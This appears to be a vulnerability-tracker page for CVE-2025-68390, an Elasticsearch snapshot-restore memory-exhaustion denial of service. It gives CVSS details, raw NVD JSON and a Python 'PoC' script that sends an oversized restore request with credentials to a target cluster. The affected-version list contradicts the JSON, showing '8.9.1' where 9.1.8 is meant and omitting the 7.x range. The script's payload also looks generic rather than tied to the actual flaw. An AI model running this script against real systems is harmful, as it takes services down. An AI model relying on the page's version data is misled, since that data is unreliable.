Security Vulnerability Report
中文
CVE-2025-68390 CVSS 4.9 MEDIUM

CVE-2025-68390

Published: 2025-12-18 23:15:50
Last Modified: 2025-12-23 17:44:51

Description

Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can allow an authenticated user with snapshot restore privileges to cause Excessive Allocation (CAPEC-130) of memory and a denial of service (DoS) via crafted HTTP request.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - VULNERABLE
Elasticsearch 8.19.x < 8.19.8
Elasticsearch 8.9.x < 8.9.1
Elasticsearch 8.x < 8.9.1
Elasticsearch 9.x < 9.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-68390 PoC - Elasticsearch Resource Exhaustion via Snapshot Restore # This PoC demonstrates the vulnerability where authenticated users with snapshot # restore privileges can cause excessive memory allocation TARGET_HOST = "https://elasticsearch-target:9200" USERNAME = "elastic" PASSWORD = "password" def create_malicious_snapshot_request(): """ Create a crafted HTTP request that triggers excessive memory allocation during snapshot restore operations """ # Malicious snapshot restore request with oversized parameters endpoint = f"{TARGET_HOST}/_snapshot/malicious_repo/_restore" # Craft payload that triggers unbounded memory allocation malicious_payload = { "indices": "_all", "ignore_unavailable": True, "include_global_state": True, "rename_pattern": "(.+)", "rename_replacement": "malicious_\\1" * 10000, # Excessive string expansion "partial": False, "settings": { # Crafted settings that trigger excessive memory allocation "index.number_of_shards": 10000, "index.merge.policy.max_merged_segment": "100gb" } } return endpoint, malicious_payload def exploit(): """ Execute the exploit to trigger DoS condition """ auth = (USERNAME, PASSWORD) endpoint, payload = create_malicious_snapshot_request() headers = { "Content-Type": "application/json", "User-Agent": "Elasticsearch-Exploitation-PoC" } print(f"[*] Targeting: {TARGET_HOST}") print(f"[*] Sending crafted snapshot restore request...") try: response = requests.post( endpoint, auth=auth, headers=headers, json=payload, timeout=30, verify=False ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Request processed - potential memory exhaustion triggered") else: print("[-] Request failed - check credentials and permissions") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68390", "sourceIdentifier": "[email protected]", "published": "2025-12-18T23:15:49.577", "lastModified": "2025-12-23T17:44:51.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can allow an authenticated user with snapshot restore privileges to cause Excessive Allocation (CAPEC-130) of memory and a denial of service (DoS) via crafted HTTP request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.17.29", "matchCriteriaId": "D9FEE402-3C43-4A12-B8E7-12BC2FF677A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.8", "matchCriteriaId": "26006F8E-A936-468F-AEF3-5B12BBAB9BEC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.8", "matchCriteriaId": "B93EADBD-0846-4EA4-80F4-0456DFF8F3EE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.2", "matchCriteriaId": "7370E8B9-DB83-4B87-91A6-BDC5E53C3CE7"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/elasticsearch-8-19-8-9-1-8-and-9-2-2-security-update-esa-2025-37/384185", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}